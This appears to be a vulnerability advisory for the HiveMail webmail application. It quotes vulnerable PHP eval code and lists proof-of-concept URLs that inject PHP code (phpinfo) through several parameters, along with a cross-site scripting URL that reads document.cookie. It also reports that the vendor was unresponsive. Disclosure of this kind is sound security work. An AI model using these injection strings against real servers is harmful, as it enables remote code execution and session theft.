Description:  
HiveMail is a powerful web-based email program that allows  
you to offer personal email accounts to your visitors. This  
makes HiveMail a popular choice for business and individuals  
alike. Unfortunately there are a number of remote code  
execution vulnerabilities in HiveMail due to unsafe eval  
calls that may allow an attacker to compromise the underlying  
web server. In addition there are also vulnerabilities that  
allow an attacker to perform SQL Injection and Cross Site  
Scripting attacks.  
  
  
  
Remote Code Execution:  
There are a substantial number of Remote Code Execution issues  
in HiveMail that allow for an attacker to easily execute php  
code on the target server. Lets have a look at the file named  
addressbook.update.php @ lines 273-300  
  
if ($_POST['cmd'] == 'remove') {  
if ($contactgroupid == 0) {  
eval(makeerror('error_addbookcannotremove'));  
}  
if (!is_array($contactcheck)) {  
invalid('contacts');  
}  
$groupcontents = $DB_site->query_first("  
SELECT contacts  
FROM hive_contactgroup  
WHERE contactgroupid = $contactgroupid  
AND userid = $hiveuser[userid]  
");  
$groupcontent = explode(',', $groupcontents['contacts']);  
foreach ($contactcheck as $bookid => $doit) {  
if ($doit == 'yes') {  
$key = array_search($bookid, $groupcontent);  
array_splice($groupcontent, $key, 1);  
}  
}  
$DB_site->query("  
UPDATE hive_contactgroup  
SET contacts = '".addslashes(implode(',', $groupcontent))."'  
WHERE contactgroupid = $contactgroupid  
AND userid = $hiveuser[userid]  
");  
eval(makeredirect("redirect_addbook_removeentries",   
"addressbook.view.php?contactgroupid=$contactgroupid"));  
}  
  
In the above code the variable $contactgroupid is taken from  
user supplied data. There are a few obstacles to bypass in  
order for there to be Code Execution, but it is nothing too  
complicated.  
  
http:///hivemail/addressbook.update.phpcmd=remove&contactgroupid  
=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con  
tactcheck[]=2  
  
The above command would successfully set $contactgroupid to  
a value grater than zero, not cause an SQL Error, and eventually  
get executed @ line 299. It should be noted though that even if  
code execution isn't possible then SQL Injection within the same  
variable $contactgroupid is. This same type of issues takes place  
in a number of locations within HiveMail.  
  
http://hivemail/addressbook.add.php?cmd=quick&messageid=1");phpin  
fo();@ob_start("&popid=1&msgid=1  
  
http://hivemail/folders.update.php?cmd=mark&folderid=0%20--%20%22)  
;phpinfo();@ob_start(%22  
  
The files calendar.event.php, index.php, pop.download.php,  
read.bounce.php, rules.block.php, language.php and possibly  
others contain vulnerable code very similar to that which  
I pointed out earlier.  
  
  
  
Cross Site Scripting & SQL Injection:  
Hivemail is vulnerable to cross site scripting because it  
makes use of unsanitized $_SERVER['PHP_SELF'] references.  
  
http://hivemail/index.php/%22%3E%3Cscript%3Ealert(document.cookie)  
;%3C/script%3E  
  
Once logged in a malicious attacker could replace the code  
above with the variable folderid containing a malicious SQL  
statement and have it executed.  
  
  
  
Solution:  
The vendor was unresponsive to my contact attempts, and according  
to some of the people on the HiveMail forums the project has been  
fairly dormant as of late.

Until an updated version of HiveMail is released users are very  
strongly advised to not use this vulnerable application.
